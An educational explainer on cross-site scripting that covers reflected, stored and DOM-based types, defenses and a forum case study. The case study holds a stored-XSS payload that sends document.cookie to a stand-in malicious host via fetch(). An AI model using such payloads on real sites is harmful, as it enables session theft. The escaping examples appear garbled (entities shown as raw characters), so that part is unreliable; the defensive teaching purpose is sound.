A Detailed Explanation of Cross-Site Scripting (XSS) Attacks

Description
XSS (Cross-Site Scripting) is a common security vulnerability. Attackers inject malicious scripts into web pages. When other users visit the page, the script executes in their browser, allowing theft of user data or other malicious actions. The core issue of XSS is that the website does not adequately filter user input, causing malicious code to be mistakenly executed as normal content.

Solution Process (Step-by-Step Explanation)

1. The Attack Principle of XSS

   • Background: Web pages are typically composed of HTML, CSS, and JavaScript. JavaScript can manipulate page content, access Cookies (which may contain login credentials), or send data to other servers.
   • Vulnerability Origin: If a website directly embeds user input into the page (e.g., comments, search boxes) without checking for malicious scripts, attackers can submit code like the following:

     <script>alert('XSS Attack')</script>
     

   • Attack Effect: When other users browse a page containing this code, the script executes in their browser, potentially stealing Cookies, forging user actions (like transferring money), or hijacking sessions.

2. Three Types of XSS

   • Reflected XSS:
     • The attack script is sent to the server as a request parameter, and the server directly returns it in the page (e.g., search results showing "Your search term is: ").
     • Requires luring users to click a malicious link (e.g., via phishing emails). It is a non-persistent attack.
   • Stored XSS:
     • The malicious script is saved to the server's database (e.g., forum post content). All users visiting the page are affected, making it more harmful.
   • DOM-based XSS:
     • The attack is triggered when front-end JavaScript processes the DOM (Document Object Model) without involving the server. For example:

       // Assuming data is taken from URL parameters and directly inserted into the page
       document.write("<div>" + location.hash.slice(1) + "</div>");
       

       If a user visits http://site.com#<script>malicious code</script>, the script will execute.

3. Key Steps to Defend Against XSS

   • Input Filtering:
     • Strictly validate user input (e.g., length, character type), but relying solely on filtering can be bypassed (e.g., via encoding tricks).
   • Output Escaping:
     • Core Defense Mechanism: Escape special characters based on the output context. For example:
       • Output to HTML body: Escape < to <, > to >.
       • Output to HTML attributes: Escape " and ' to avoid attribute closure.
       • Modern front-end frameworks (e.g., React/Vue) escape dynamic content by default.
   • Content Security Policy (CSP):
     • Use the HTTP header Content-Security-Policy to restrict the page to loading scripts only from specified sources, prohibit inline scripts (e.g., <script>alert()</script>), and fundamentally reduce XSS risk.
   • HttpOnly Cookie:
     • Set the HttpOnly attribute for sensitive Cookies to prevent JavaScript from stealing them via document.cookie.

4. Case Analysis

   • Attack Scenario: A forum allows users to post, with content displayed directly on the page. An attacker posts:

     Hello everyone!<script>fetch('http://malicious-site.com?cookie=' + document.cookie)</script>
     

   • Vulnerability Fix:
     • The backend performs HTML escaping on the output content, converting the above to:

       Hello everyone!<script>fetch(...)</script>
       

     • The browser will then display it as plain text instead of executing the script.

Summary
The essence of XSS is "data being mistakenly executed as code." Defense requires a combination of measures such as input validation, output escaping, and CSP to ensure user input is always treated as text rather than executable code.